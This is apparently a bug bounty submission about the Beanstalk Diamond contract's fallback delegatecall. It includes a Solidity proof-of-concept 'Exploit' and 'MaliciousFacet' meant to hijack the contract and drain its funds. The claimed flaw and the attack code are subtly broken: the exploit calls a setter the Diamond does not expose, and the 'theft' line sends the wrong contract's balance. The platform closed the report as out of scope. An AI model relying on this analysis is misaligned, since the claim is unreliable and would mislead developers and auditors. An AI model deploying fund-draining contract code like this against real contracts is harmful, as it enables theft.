Hey team. I've identified a potential vulnerability in the fallback function of the Diamond contract.
Vulnerability Details
The fallback function uses delegatecall to execute a function on a facet contract. However, the facet address is not validated, allowing an attacker to manipulate the selectorToFacetAndPosition mapping and execute a malicious contract.
Impact Details
An attacker can exploit this vulnerability to:
Steal funds: By executing a malicious contract that drains the contract's funds.
Manipulate data: By executing a malicious contract that modifies the contract's state.
Take control: By executing a malicious contract that takes control of the contract's ownership.
Code Snippet:
fallback() external payable {
// ...
address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;
require(facet != address(0), "Diamond: Function does not exist");
assembly {
// ...
let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
// ...
}
}
Mitigation
Validate the facet address before executing the delegatecall.
Use a whitelist of trusted facet contracts to ensure only authorized contracts can be executed.
Proof of concept
##Attack Scenario:
The attacker deploys the Exploit contract with the Diamond contract address.
The attacker calls the exploit function, which creates a malicious facet contract and manipulates the selectorToFacetAndPosition mapping.
The attacker calls the fallback function on the Diamond contract, which executes the malicious facet contract's maliciousFunction.
The maliciousFunction steals funds, manipulates data, or takes control of the Diamond contract.
Immunefi Response
Immunefi has reviewed this vulnerability report and decided to close since being out of scope for Beanstalk bug bounty program.
claimed impact by the whitehat is not in scope for the bug bounty program
claimed asset by the whitehat is in scope for the bug bounty program
PoC has been submitted to the project
claimed severity is in scope for the bug bounty program
The project will now be automatically subscribed and receive a report of the closed submission and can evaluate if they are interested in re-opening it. However, note that they are not under any obligation to do so.
pragma solidity ^0.7.6;
contract Exploit {
address public diamondAddress;
constructor(address _diamondAddress) public {
diamondAddress = _diamondAddress;
}
function exploit() public {
// Create a malicious facet contract
MaliciousFacet facet = new MaliciousFacet();
// Manipulate the selectorToFacetAndPosition mapping
bytes4 selector = bytes4(keccak256("maliciousFunction()"));
Diamond(diamondAddress).setSelectorToFacetAndPosition(selector, address(facet));
// Call the fallback function on the Diamond contract
(bool success,) = diamondAddress.call(abi.encodeWithSelector(selector));
require(success, "Exploit failed");
}
}
contract MaliciousFacet {
address public diamondAddress;
constructor() public {
diamondAddress = msg.sender;
}
function maliciousFunction() public {
// Steal funds
diamondAddress.call{value: address(diamondAddress).balance}("");
// Manipulate data
// ...
// Take control
// ...
}
}